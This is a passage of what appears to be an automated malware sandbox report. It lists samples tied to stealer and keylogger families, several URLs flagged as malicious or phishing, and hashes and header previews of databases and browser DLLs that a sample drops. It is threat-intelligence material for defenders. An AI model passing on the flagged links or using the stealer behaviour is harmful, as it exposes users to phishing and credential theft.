	https://www.mcafee.com/consumer/en-gb/ipz/checkout/2web/payment.html?pkgid=535&culture=en-gb&moguid=F09DE6FC-A0B4-46DF-829B-03590CD3D6E3&SID=cb6e5677-1e89-44ef-b1d8-c83d6250118a&csrcl2=Creative+Clicks+USA+CN&affid=1494&csrc=cj&ccoe=direct&ccoel2=am&cjevent=8df76a1da0cd11ef801e8a770a18b8f7&CID=240649&PID=101297887&ccstype=partnerlinks_8df76a1da0cd11ef801e8a770a18b8f7	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://contus.sbs/1W9y0ehGg7GKSOy/index.php?lpkey=1743318a399a895397&trkd=fowev.org&lpkey1=6c778ci8wiba3447&language=en-GB&scanid=6c778ci8wiba3447&ip=213.226.90.1&t1=759&t2=54&t3=54:903479&t4=27&t5=4216&dm=1&pbid=4337&uid=0&t6=0&t7=0&uclick=ci8wiba3&uclickhash=ci8wiba3-ci8wiba3-x93y-gx3y-usdz-d54k-8w8n-e987d5	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Mamba2FA	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	209cf93b79fb8eacd8c4837dfc24f707d5f4a212.html	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	http://matomo.uk.oxa.cloud	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	f_002fa0#U007e.html	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	Payment advice_USD75,230.18.xls	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://certify-compte.fr/CETEL	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	Qj7W5O8V7a.html	Get hash	malicious	WinSearchAbuse	Browse	4.175.87.197 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	Offer Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	40.113.110.67
	BL New Booking_ 021-34326093HL.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	40.113.110.67
	Malzeme i#U00e7in G#U00f6rsel Sipari#U015fler #PO160924R0 _323282.exe	Get hash	malicious	VIP Keylogger	Browse	40.113.110.67
	6DfHIXhWXp.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	YIU6wlOgnJ.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	VQSLdElLF9.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	whf6kh4bok.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	HJqOAHpihM.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	56aaf3ajyE.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	FBbyWUmAJY.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
a0e9f5d64349fb13191bc781f81f42e1	Payment advice_USD75,230.18.xls	Get hash	malicious	Unknown	Browse	20.189.173.16
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	20.189.173.16
	file.exe	Get hash	malicious	LummaC	Browse	20.189.173.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	20.189.173.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	20.189.173.16
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.16
	file.exe	Get hash	malicious	LummaC	Browse	20.189.173.16
	file.exe	Get hash	malicious	LummaC	Browse	20.189.173.16
	file.exe	Get hash	malicious	LummaC	Browse	20.189.173.16

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGIIDAEBGCAAECAKFHII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BKECFIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2674597210689567
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMsSA1LyKOMq+8iP5GDHP/0jMVumo:Kq+n0Js91LyKOMq+8iP5GLP/0J
MD5:	9BE4E00B1DD0394148E822F4F1527335
SHA1:	223A8AE13F1EE977C2A029C7448001042D05F735
SHA-256:	34333ED385597C05C31B048C1F9FEBB25EC9C3ADEF783BDB454BAF78E9E2CF24
SHA-512:	3037D3423BA48C61C84557C8AA04094A6BA237838E868052DCB3421F05A38060D3AD675B7409E0663522A38EC33150969001553D436E1CA30937CA528B983231
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBKECBFIJKKFCBKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGCFCBAKKFBFIECAEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDGHDGIDAKEBAAKFCGHCBAKJDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKEHIEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJKFBKKECFHJKEBKEHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fde0e4bc1c.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5b8a055d-527e-48bd-a9c8-da2523f5022d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089821582781293
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTdi1zNtPMQkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVjkzItSmd6qE7lFoC
MD5:	A36DAC01EF194286EB4C406015BED435
SHA1:	6C5CD675788A72FF98B6B897C434AAF9383B6422
SHA-256:	2DD5304587046D195C5D69F3495CDC797FD7EA2824EEEE1849D23B330C39B508
SHA-512:	506F40717A1ECECA8FC1B2095EFBD0F4A352FDDF7C73728EF4189EC88B2E682D66882E8B4BCFAD422E34886ACAE41FBDC356A480F156E231CD29E58B15FA5540
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\623c7982-e609-4620-a03b-ec478cdfef44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44988
Entropy (8bit):	6.095674408844292
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWnui1zNtoCO3I9XZ1nn8YWKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOhhIeKtSmd6qE7lFoC
MD5:	B3A201E3459B0995AC65185C5C4A71B5
SHA1:	984E50B0A5E2CF481739C10B79DA6F64871A1625
SHA-256:	CA06AFC270706A3D3792DE70839C782F83E60D7B3BDD6AC08E948C4E85A7440D
SHA-512:	1C33AF400D5FF7A83E6D3101A340FE01BC2534E16A70558B6149910CA9C9C2349359F9896360C5676729E637F0BCFF5EA6109EECF2E3FE0F097E2DCF6410A27D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\995ed4a9-bdde-49ea-a20c-5601db86e4fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46447
Entropy (8bit):	6.08679139750925
Encrypted:	false
SSDEEP:	768:DMkbJrT8IeQcrQgc9yiNi1zNtoCO31XZ1nn8YWP218xCio8JDSgzMMd6qD47u307:DMk1rT8H89Dh2P218xFo8tSmd6qE7l
MD5:	990D0D0943F86138FE0959C91994BC28
SHA1:	EEF2F6EACC330D65E7BD77231A644D4FA6491239
SHA-256:	05FDD1400B9DBD0249899533157DC1BA2634B4AA4A0FAA8BD7B6858A9D471426
SHA-512:	E043EF4BB0D465D0CA7C6449408F1E97EE634E6DD175678BCE0CCCDEB7ABD7833C6ED6D9A886422A4CE7B92F2FB916B6AAA4684E2AED5D6057E054C2FBBBDBA3
Malicious:	false
